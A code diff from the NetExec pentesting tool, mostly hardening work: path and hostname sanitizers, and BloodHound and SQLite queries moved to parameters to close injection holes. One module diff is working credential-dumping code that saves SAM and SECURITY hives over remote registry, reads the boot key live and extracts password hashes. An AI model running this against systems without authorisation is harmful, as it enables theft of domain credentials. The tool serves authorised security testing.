@@ -16,7 +22,8 @@ Insert an "x" inside the brackets for relevant items (do not delete options)
- [ ] This PR was created with the assistance of AI (list what type of assistance, tool(s)/model(s) in the description)
## Setup guide for the review
Please provide guidance on what setup is needed to test the introduced changes, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions.
Please provide guidance on what setup is needed to test the introduced changes, such as the target(s) you tested against or software versions.
In particular:
- Bug Fix: Please provide a short description on how to trigger the bug, to make the bug reproducable for the reviewer.
- Added Feature/Enhancement: Please specify what setup is needed in order to test the changes, such as:
+1 -1
View File
@@ -10,7 +10,7 @@ jobs:
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"]
python-version: ["3.11", "3.12", "3.13", "3.14"]
steps:
- uses: actions/checkout@v4
- name: NetExec set up python on ${{ matrix.os }}
+1 -1
View File
@@ -14,7 +14,7 @@ jobs:
max-parallel: 5
matrix:
os: [ubuntu-latest]
python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"]
python-version: ["3.11", "3.12", "3.13", "3.14"]
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
- name: Install uv
+1
View File
@@ -36,6 +36,7 @@
# Filesystem and source conventions
- Assume that the underlying operating system and its storage are fully secure. Files and other data produced by NetExec may intentionally contain readable plaintext credentials; do not add encryption, redaction, restrictive permission handling, or permission warnings unless explicitly requested.
- Before opening, creating, writing, renaming, moving, or deleting a file or directory, sanitize every path component derived from untrusted data and verify that the resulting path cannot traverse outside its intended base directory.
- Place every file and directory produced by NetExec under `NXC_PATH` by default, using `TMP_PATH` for temporary artifacts. An explicit user-provided output path or task requirement may override this default.
- `NXC_PATH` defaults to `~/.nxc` but may be overridden by the environment. Import and use `NXC_PATH` or its derived path constants instead of hardcoding `~/.nxc`.
- Place imports at the top of files unless explicitly instructed otherwise.
+9 -37
View File
@@ -14,15 +14,11 @@ from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
from nxc.config import pwned_label
from nxc.helpers.logger import highlight
from nxc.helpers.path import sanitize_path_component
from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError
from nxc.logger import nxc_logger, NXCAdapter
from nxc.context import Context
from nxc.paths import NXC_PATH
from nxc.protocols.ldap.laps import laps_search
from nxc.helpers.pfx import pfx_auth
from impacket.dcerpc.v5 import transport
from impacket.krb5.ccache import CCache
sem = BoundedSemaphore(1)
fail_lock = Lock()
@@ -100,37 +96,6 @@ def requires_admin(func):
return wraps(func)(_decorator)
def dcom_FirewallChecker(iInterface, remoteHost, timeout):
stringBindings = iInterface.get_cinstance().get_string_bindings()
for strBinding in stringBindings:
if strBinding["wTowerId"] == 7:
if strBinding["aNetworkAddr"].find("[") >= 0:
binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[")
bindingPort = "[" + bindingPort
else:
binding = strBinding["aNetworkAddr"]
bindingPort = ""
if binding.upper().find(iInterface.get_target().upper()) >= 0:
stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1]
break
elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0:
stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}"
if "stringBinding" not in locals():
return True, None
try:
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.setRemoteHost(remoteHost)
rpctransport.set_connect_timeout(timeout)
rpctransport.connect()
rpctransport.disconnect()
except Exception as e:
nxc_logger.debug(f"Exception while connecting to {stringBinding}: {e}")
return False, stringBinding
else:
return True, stringBinding
class connection:
def __init__(self, args, db, target):
self.args = args
@@ -251,7 +216,7 @@ class connection:
# Construct the output file template using os.path.join for OS compatibility
base_log_dir = os.path.join(NXC_PATH, "logs")
filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
filename_pattern = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=220)
self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
# Default output filename for logs
self.output_filename = os.path.join(base_log_dir, filename_pattern)
@@ -559,6 +524,7 @@ class connection:
if self.args.use_kcache:
self.logger.debug("Trying to authenticate using Kerberos cache")
with sem:
from impacket.krb5.ccache import CCache
username = self.args.username[0] if len(self.args.username) else CCache.parseFile()[1]
password = self.args.password[0] if len(self.args.password) else ""
self.kerberos_login(self.domain, username, password, "", "", self.kdcHost, True)
@@ -567,14 +533,20 @@ class connection:
if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert:
self.logger.debug("Trying to authenticate using Certificate pfx")
if self.args.protocol == "ldap" and self.args.schannel:
# Schannel maps the certificate to an account server-side, so the supplied username is ignored
with sem:
return self.plaintext_login(self.domain, "", "")
if not self.args.username:
self.logger.fail("You must specify a username when using certificate authentication")
return False
with sem:
from nxc.helpers.pfx import pfx_auth
return pfx_auth(self)
if hasattr(self.args, "laps") and self.args.laps:
self.logger.debug("Trying to authenticate using LAPS")
from nxc.protocols.ldap.laps import laps_search
username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)
cred_type = ["plaintext"]
if not (username[0] or secret[0] or domain[0]):
+5 -5
View File
@@ -43,7 +43,7 @@ def add_user_bh(user, domain, logger, config):
with driver.session().begin_transaction() as tx:
for user_info in users_owned:
distinguished_name = "".join([f"DC={dc}," for dc in user_info["domain"].split(".")]).rstrip(",")
domain_query = tx.run(f"MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH '{distinguished_name}' RETURN d").data()
domain_query = tx.run("MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH $distinguished_name RETURN d", distinguished_name=distinguished_name).data()
if not domain_query:
logger.debug(f"Domain {user_info['domain']} not found in BloodHound. Falling back to domainless query.")
_add_without_domain(user_info, tx, logger)
@@ -68,14 +68,14 @@ def _add_with_domain(user_info, domain, tx, logger):
user_owned = f"{user_info['username']}@{domain}"
account_type = "User"
result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) RETURN c").data()
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) RETURN c", user_owned=user_owned).data()
if len(result) == 0:
logger.fail("Account not found in the BloodHound database.")
return
if result[0]["c"].get("owned") in (False, None):
logger.debug(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name")
result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) SET c.owned=True RETURN c.name AS name", user_owned=user_owned).data()[0]
logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")
@@ -87,7 +87,7 @@ def _add_without_domain(user_info, tx, logger):
user_owned = user_info["username"]
account_type = "User"
result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH '{user_owned}' RETURN c").data()
result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH $user_owned RETURN c", user_owned=user_owned).data()
if len(result) == 0:
logger.fail("Account not found in the BloodHound database.")
@@ -97,5 +97,5 @@ def _add_without_domain(user_info, tx, logger):
return
elif result[0]["c"].get("owned") in (False, None):
logger.debug(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name")
result = tx.run(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
result = tx.run(f"MATCH (c:{account_type} {{name: $user_owned}}) SET c.owned=True RETURN c.name AS name", user_owned=result[0]["c"]["name"]).data()[0]
logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")
+88
View File
@@ -1,9 +1,12 @@
from contextlib import suppress
from enum import Enum
import hashlib
import random
import string
import re
import inspect
import os
from unicodedata import normalize
from termcolor import colored
from ipaddress import ip_address
from nxc.logger import nxc_logger
@@ -26,6 +29,91 @@ def gen_random_string(length=10):
return "".join(random.sample(string.ascii_letters, int(length)))
def sanitize_dns(hostname, logger=nxc_logger):
"""Return an untrusted hostname or domain as a safe, nonempty string."""
# Always provide a safe fallback, even for missing or unstringable input.
if hostname is None:
return "_"
try:
hostname = hostname.decode("utf-8", errors="surrogateescape") if isinstance(hostname, bytes) else str(hostname)
except Exception:
return "_"
if not hostname:
return "_"
# Replace path, configuration, formatting, whitespace, and control characters.
unsafe_characters = '<>:"/\\|?*{}[]=#;\'' # Portable paths, format strings, hosts files, and krb5.conf
sanitized = "".join(
character if character.isprintable()
and not character.isspace()
and character not in unsafe_characters
and all(
normalized_character.isprintable()
and not normalized_character.isspace()
and normalized_character not in unsafe_characters
for normalized_character in normalize("NFKC", character)
)
else "_"
for character in hostname
)
# Neutralize traversal segments and Windows-trimmed trailing dots.
if normalize("NFKC", sanitized) in (".", ".."):
sanitized = "_" * len(sanitized)
if sanitized.endswith(".") or normalize("NFKC", sanitized[-1]).endswith("."):
sanitized = f"{sanitized[:-1]}_"
# Bound filename length while retaining a stable identifier for long names.
if len(sanitized.encode("utf-8")) > 253:
suffix = f"_{hashlib.sha256(hostname.encode('utf-8', errors='surrogatepass')).hexdigest()[:12]}"
byte_length = 0
truncated = []
for character in sanitized:
character_length = len(character.encode("utf-8"))
if byte_length + character_length > 253 - len(suffix):
break
truncated.append(character)
byte_length += character_length
sanitized = f"{''.join(truncated)}{suffix}"
# Fail closed if a future change violates any output invariant.
normalized = normalize("NFKC", sanitized)
if (
not sanitized
or not normalized
or len(sanitized.encode("utf-8")) > 253
or normalized in (".", "..")
or normalized.endswith(".")
or any(
not character.isprintable()
or character.isspace()
or character in unsafe_characters
or any(
not normalized_character.isprintable()
or normalized_character.isspace()
or normalized_character in unsafe_characters
for normalized_character in normalize("NFKC", character)
)
for character in sanitized
)
):
sanitized = "_"
# Report changed input without allowing logging failures to affect safety.
if sanitized != hostname:
received = ascii(hostname[:256])
result = ascii(sanitized)
if len(hostname) > 256 or len(received) > 256:
received = f"{received[:253]}..."
if len(result) > 256:
result = f"{result[:253]}..."
if logger is not None:
with suppress(Exception):
logger.fail(f"Unsafe hostname or domain received: {received}; using {result}")
return sanitized
def validate_ntlm(data):
allowed = re.compile(r"^[0-9a-f]{32}", re.IGNORECASE)
return bool(allowed.match(data))
+4
View File
@@ -12,6 +12,7 @@ import contextlib
def parse_challenge(challange):
target_info = {
"hostname": None,
"dns_hostname": None,
"domain": None,
"os_version": None
}
@@ -20,6 +21,9 @@ def parse_challenge(challange):
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
with contextlib.suppress(Exception):
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
if av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME] is not None:
with contextlib.suppress(Exception):
target_info["dns_hostname"] = av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME][1].decode("utf-16le")
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
with contextlib.suppress(Exception):
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
+94
View File
@@ -1,4 +1,98 @@
import hashlib
from pathlib import PurePosixPath
import re
from unicodedata import normalize
def sanitize_path_component(name, max_bytes=255):
"""Return one portable, bounded path component from untrusted input."""
# Reserve enough space for one character and the collision-resistant suffix.
if max_bytes < 14:
raise ValueError("max_bytes must be at least 14")
# Always provide a safe fallback, even for missing or unstringable input.
try:
name = name.decode("utf-8", errors="surrogateescape") if isinstance(name, bytes) else str(name) if name is not None else ""
except Exception:
name = ""
if not name:
return "_"
# Replace path, control, and Unicode-equivalent metacharacters.
unsafe_characters = '<>:"/\\|?*' # Portable filename metacharacters
sanitized = "".join(
character if character.isprintable()
and character not in unsafe_characters
and all(
normalized_character.isprintable() and normalized_character not in unsafe_characters
for normalized_character in normalize("NFKC", character)
)
else "_"
for character in name
)
# Neutralize traversal-only names and Windows-trimmed trailing dots or spaces.
if normalize("NFKC", sanitized) in (".", ".."):
sanitized = "_" * len(sanitized)
while sanitized and (
sanitized[-1] == "."
or sanitized[-1].isspace()
or normalize("NFKC", sanitized[-1]).endswith(".")
or any(character.isspace() for character in normalize("NFKC", sanitized[-1]))
):
sanitized = f"{sanitized[:-1]}_"
# Avoid Windows device names, including names followed by an extension.
normalized_stem = normalize("NFKC", sanitized).split(".", 1)[0].rstrip(" ").upper()
if normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"} or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem):
sanitized = f"_{sanitized}"
# Bound the byte length with a stable digest while preserving short extensions.
if len(sanitized.encode("utf-8")) > max_bytes:
digest = f"_{hashlib.sha256(name.encode('utf-8', errors='surrogatepass')).hexdigest()[:12]}"
extension = ""
extension_index = sanitized.rfind(".")
if (
extension_index > 0
and len(sanitized[extension_index:].encode("utf-8")) <= 32
and len(sanitized[extension_index:].encode("utf-8")) <= max_bytes - len(digest)
):
extension = sanitized[extension_index:]
sanitized = sanitized[:extension_index]
byte_length = 0
truncated = []
for character in sanitized:
character_length = len(character.encode("utf-8"))
if byte_length + character_length > max_bytes - len(digest) - len(extension.encode("utf-8")):
break
truncated.append(character)
byte_length += character_length
sanitized = f"{''.join(truncated)}{digest}{extension}"
# Fail closed if a future change violates any output invariant.
normalized = normalize("NFKC", sanitized)
normalized_stem = normalized.split(".", 1)[0].rstrip(" ").upper()
if (
not sanitized
or not normalized
or len(sanitized.encode("utf-8")) > max_bytes
or normalized in (".", "..")
or normalized.endswith(".")
or normalized[-1].isspace()
or normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"}
or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem)
or any(
not character.isprintable()
or character in unsafe_characters
or any(
not normalized_character.isprintable() or normalized_character in unsafe_characters
for normalized_character in normalize("NFKC", character)
)
for character in sanitized
)
):
return "_"
return sanitized
def sanitize_filename(name: str) -> str:
+26 -4
View File
@@ -28,6 +28,7 @@
import os
import secrets
import tempfile
import hashlib
import datetime
import random
@@ -70,7 +71,8 @@ from minikerberos.common.ccache import CCACHE
from impacket.krb5.ccache import CCache as impacket_CCache
from nxc.paths import NXC_PATH
from nxc.paths import NXC_PATH, TMP_PATH
from nxc.helpers.path import sanitize_path_component
from nxc.logger import nxc_logger
@@ -187,7 +189,7 @@ class myPKINIT:
else:
cname = [self.cname]
now = datetime.datetime.now(datetime.timezone.utc)
now = datetime.datetime.now(datetime.UTC)
kdc_req_body_data = {}
kdc_req_body_data["kdc-options"] = KDCOptions(kdcopts)
@@ -530,8 +532,8 @@ def pfx_auth(self):
return False
username = self.args.username[0]
basename = f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache"
log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{basename}"))
basename = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache")
log_ccache = os.path.normpath(os.path.expanduser(os.path.join(NXC_PATH, "logs", basename)))
# Request a TGT with the cert data
req = ini.build_asreq(self.domain, username)
@@ -568,3 +570,23 @@ def pfx_auth(self):
self.logger.info("Successfully authenticated using Certificate")
return True
def certificate_options(args):
"""Return the LDAPConnection certificate options for the command line material, plus a temporary file the caller must delete."""
if args.pfx_cert:
return {"pfxfile": args.pfx_cert, "pfxpass": args.pfx_pass}, None
if args.pem_cert and args.pem_key:
return {"certfile": args.pem_cert, "keyfile": args.pem_key}, None
if args.pfx_base64:
with open(args.pfx_base64, "rb") as pfx_base64_file:
pfxdata = base64.b64decode(pfx_base64_file.read())
# impacket loads the bundle from a path, so the decoded PFX has to hit the disk
handle, pfx_path = tempfile.mkstemp(suffix=".pfx", dir=TMP_PATH)
with os.fdopen(handle, "wb") as pfx_file:
pfx_file.write(pfxdata)
return {"pfxfile": pfx_path, "pfxpass": args.pfx_pass}, pfx_path
raise ValueError("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
+31
View File
@@ -99,3 +99,34 @@ class NXCRPCConnection:
self.setup_credentials(rpc_transport, anonymous_rpc)
return rpc_transport
def dcom_FirewallChecker(iInterface, remoteHost, timeout, logger):
stringBindings = iInterface.get_cinstance().get_string_bindings()
for strBinding in stringBindings:
if strBinding["wTowerId"] == 7:
if strBinding["aNetworkAddr"].find("[") >= 0:
binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[")
bindingPort = "[" + bindingPort
else:
binding = strBinding["aNetworkAddr"]
bindingPort = ""
if binding.upper().find(iInterface.get_target().upper()) >= 0:
stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1]
break
elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0:
stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}"
if "stringBinding" not in locals():
return True, None
try:
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.setRemoteHost(remoteHost)
rpctransport.set_connect_timeout(timeout)
rpctransport.connect()
rpctransport.disconnect()
except Exception as e:
logger.debug(f"Exception while connecting to {stringBinding}: {e}")
return False, stringBinding
else:
return True, stringBinding
+95 -6
View File
@@ -1,5 +1,6 @@
import contextlib
import re
from binascii import unhexlify
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
from impacket.smbconnection import SessionError
@@ -23,10 +24,61 @@ class NXCModule:
self.machine_account_hash = None
self.cleanup_user = None
self.cleanup_hash = None
self.system_hive_saved = False
def options(self, context, module_options):
"""NO OPTIONS"""
def get_boot_key(self, context, dce):
"""
Reads the boot key LIVE from the four Lsa subkeys' class-name field over RPC,
using the already-connected `dce` this module sets up for the SAM/SECURITY
hive saves. If this succeeds, no SYSTEM hive is ever saved to SYSVOL or
downloaded at all.
Hand-ported from impacket's RemoteOperations.getBootKey() rather than calling
RemoteOperations directly, because RemoteOperations.enableRegistry() starts the
RemoteRegistry service via the Service Control Manager -- which needs admin-level
rights a plain Backup Operator doesn't have. This module already gets
RemoteRegistry running via trigger_winreg()'s named-pipe trick instead, which
works within Backup Operator's actual privileges (SeBackupPrivilege), so we reuse
that connection here.
Raises on any failure (access denied, path not allowed remotely, RPC error, etc.)
so the caller can fall back to the full SYSTEM hive save/download path.
"""
boot_key = b""
ans = rrp.hOpenLocalMachine(dce)
reg_handle = ans["phKey"]
for key in ["JD", "Skew1", "GBG", "Data"]:
context.log.debug(f"Retrieving class info for Lsa\\{key}")
ans = rrp.hBaseRegOpenKey(
dce,
reg_handle,
f"SYSTEM\\CurrentControlSet\\Control\\Lsa\\{key}",
dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK,
samDesired=rrp.KEY_READ,
)
key_handle = ans["phkResult"]
ans = rrp.hBaseRegQueryInfoKey(dce, key_handle)
class_out = ans["lpClassOut"]
if isinstance(class_out, str):
class_out = class_out.encode()
boot_key += class_out[:-1]
rrp.hBaseRegCloseKey(dce, key_handle)
rrp.hBaseRegCloseKey(dce, reg_handle)
transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]
boot_key = unhexlify(boot_key)
final_boot_key = b""
for i in range(len(boot_key)):
final_boot_key += boot_key[transforms[i]:transforms[i] + 1]
return final_boot_key
def on_login(self, context, connection):
connection.args.share = "SYSVOL"
rand_suffix = gen_random_string(8)
@@ -36,8 +88,11 @@ class NXCModule:
connection.trigger_winreg()
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
boot_key = None
try:
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
# Large hives can take minutes to save before the RPC call returns.
connection.conn.setTimeout(max(connection.args.smb_timeout, 60))
for hive in ["HKLM\\SAM", "HKLM\\SECURITY"]:
hRootKey, subKey = self._strip_root_key(dce, hive)
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
@@ -48,17 +103,44 @@ class NXCModule:
except Exception as e:
context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
return
try:
context.log.display("Attempting to retrieve boot key live from the remote registry...")
boot_key = self.get_boot_key(context, dce)
context.log.highlight("Boot key retrieved live -- skipping SYSTEM hive save/download.")
except Exception as e:
context.log.fail(f"Live boot key retrieval failed ({type(e).__name__}: {e}), falling back to full SYSTEM hive download...")
boot_key = None
if boot_key is None:
hRootKey, subKey = self._strip_root_key(dce, "HKLM\\SYSTEM")
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
context.log.debug("Dumping HKLM\\SYSTEM, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
try:
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName)
context.log.highlight(f"Saved HKLM\\SYSTEM to {outputFileName}")
self.system_hive_saved = True
except Exception as e:
context.log.fail(f"Couldn't save HKLM\\SYSTEM: {e} on path {outputFileName}")
return
except (Exception, KeyboardInterrupt) as e:
context.log.fail(f"Unexpected error: {e}")
return
finally:
connection.conn.setTimeout(connection.args.smb_timeout)
with contextlib.suppress(Exception):
dce.disconnect()
# copy remote file to local
log_path = f"{connection.output_filename}."
for hive in ["SAM", "SECURITY", "SYSTEM"]:
connection.conn.setTimeout(max(connection.args.smb_timeout, 60))
hives_to_download = ["SAM", "SECURITY"]
if self.system_hive_saved:
hives_to_download.append("SYSTEM")
for hive in hives_to_download:
connection.get_file_single(f"{hive}_{rand_suffix}", log_path + hive)
connection.conn.setTimeout(connection.args.smb_timeout)
# read local file
try:
@@ -84,8 +166,10 @@ class NXCModule:
self.machine_account = account_name if account_name.endswith("$") else f"{connection.hostname}$"
return
local_operations = LocalOperations(log_path + "SYSTEM")
boot_key = local_operations.getBootKey()
if boot_key is None:
local_operations = LocalOperations(log_path + "SYSTEM")
boot_key = local_operations.getBootKey()
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=parse_sam)
sam_hashes.dump()
sam_hashes.finish()
@@ -137,7 +221,9 @@ class NXCModule:
connection.create_conn_obj()
if connection.hash_login(connection.domain, username, user_hash):
context.log.display(f"Cleaning dump with user {username} on domain {connection.domain}")
hives = ["SAM", "SECURITY", "SYSTEM"]
hives = ["SAM", "SECURITY"]
if self.system_hive_saved:
hives.append("SYSTEM")
all_deleted = True
for hive in hives:
remote_name = f"{hive}_{rand_suffix}"
@@ -194,7 +280,10 @@ class NXCModule:
return None, None
def _print_cleanup_warning(self, context, rand_suffix):
context.log.fail(f"Files were not automatically deleted. Please clean up manually: C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}, SYSTEM_{rand_suffix}")
paths = f"C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}"
if self.system_hive_saved:
paths += f", SYSTEM_{rand_suffix}"
context.log.fail(f"Files were not automatically deleted. Please clean up manually: {paths}")
def _strip_root_key(self, dce, key_name):
# Let's strip the root key
+8 -6
View File
@@ -2,12 +2,14 @@
import json
import socket
from os import makedirs
from os.path import join
from certipy.commands.find import Find
from certipy.lib.target import Target, DnsResolver
from certipy.lib.formatting import pretty_print
from datetime import datetime
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
@@ -34,7 +36,7 @@ class NXCModule:
"""
self.vuln = True
self.enabled = False
self.output_path = f"{NXC_PATH}/modules/certipy-find"
self.output_path = join(NXC_PATH, "modules", "certipy-find")
self.json = False
self.csv = False
self.text = False
@@ -119,9 +121,9 @@ class NXCModule:
if self.json or self.csv or self.text:
makedirs(self.output_path, exist_ok=True)
filename = f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
filename = sanitize_path_component(f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=220)
if self.json:
with open(f"{self.output_path}/{filename}.json", "w") as f:
with open(join(self.output_path, f"{filename}.json"), "w") as f:
json.dump(
output,
f,
@@ -131,10 +133,10 @@ class NXCModule:
if self.csv:
template_output = finder.get_template_output_for_csv(output)
ca_output = finder.get_ca_output_for_csv(output)
with open(f"{self.output_path}/{filename}-templates.csv", "w") as f:
with open(join(self.output_path, f"{filename}-templates.csv"), "w") as f:
f.write(template_output)
with open(f"{self.output_path}/{filename}-cas.csv", "w") as f:
with open(join(self.output_path, f"{filename}-cas.csv"), "w") as f:
f.write(ca_output)
if self.text:
with open(f"{self.output_path}/{filename}.txt", "w") as f:
with open(join(self.output_path, f"{filename}.txt"), "w") as f:
pretty_print(output, print_func=lambda x: f.write(x + "\n"))
+2 -1
View File
@@ -1,6 +1,7 @@
from datetime import datetime
from nxc.helpers.logger import write_log
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
@@ -63,6 +64,6 @@ class NXCModule:
context.log.highlight("\t" + d)
data += "\t" + d + "\n"
log_name = f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
log_name = sanitize_path_component(f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
write_log(data, log_name)
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
+3 -2
View File
@@ -7,8 +7,9 @@ from datetime import datetime
from struct import unpack
from impacket.structure import Structure
from os.path import expanduser
from os.path import expanduser, join
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
from nxc.parsers.ldap_results import parse_result_attributes
@@ -141,7 +142,7 @@ class NXCModule:
outdata = [x for x in outdata if not (x["value"] in seen_ips or seen_ips.add(x["value"]))]
context.log.highlight(f"Found {len(outdata)} records")
path = expanduser(f"{NXC_PATH}/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
path = expanduser(join(NXC_PATH, "logs", sanitize_path_component(f"{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")))
with open(path, "w") as outfile:
for row in outdata:
if self.showhosts:
+2 -1
View File
@@ -1,6 +1,7 @@
from datetime import datetime
from nxc.helpers.logger import write_log
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
import json
@@ -30,6 +31,6 @@ class NXCModule:
data.append(cards)
log_name = f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
log_name = sanitize_path_component(f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
write_log(json.dumps(data), log_name)
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
+13 -13
View File
@@ -79,26 +79,26 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
if result["password"] is not None:
context.log.highlight(f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH.")
cursor.execute(
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
[password],
"UPDATE admin_users SET password = ? WHERE upper(substr(username, 1, ?)) = ?",
[password, len(username), username.upper()],
)
username = f"{username.upper()}@{domain.upper()}"
dbconnection.commit()
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
session.run("MATCH (u) WHERE u.name = $username SET u.owned=True RETURN u,u.name,u.owned", username=username)
if nthash == "aad3b435b51404eeaad3b435b51404ee" or nthash == "31d6cfe0d16ae931b73c59d7e0c089c0":
context.log.fail(f"Hash for {username} is expired.")
elif username not in found_users and nthash is not None:
context.log.highlight(f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH.")
found_users.append(username)
cursor.execute(
"UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
[nthash],
"UPDATE admin_users SET hash = ? WHERE upper(substr(username, 1, ?)) = ?",
[nthash, len(username), username.upper()],
)
dbconnection.commit()
username = f"{username.upper()}@{domain.upper()}"
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
session.run("MATCH (u) WHERE u.name = $username SET u.owned=True RETURN u,u.name,u.owned", username=username)
path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
paths = list(path_to_da.data())
@@ -118,12 +118,12 @@ def initial_run(connection, cursor):
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
cursor.execute(
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
[password],
"UPDATE admin_users SET password = ? WHERE upper(substr(username, 1, ?)) = ?",
[password, len(username), username.upper()],
)
cursor.execute(
"UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
[nthash],
"UPDATE admin_users SET hash = ? WHERE upper(substr(username, 1, ?)) = ?",
[nthash, len(username), username.upper()],
)
@@ -188,7 +188,7 @@ class NXCModule:
)
if session.smb_session is None:
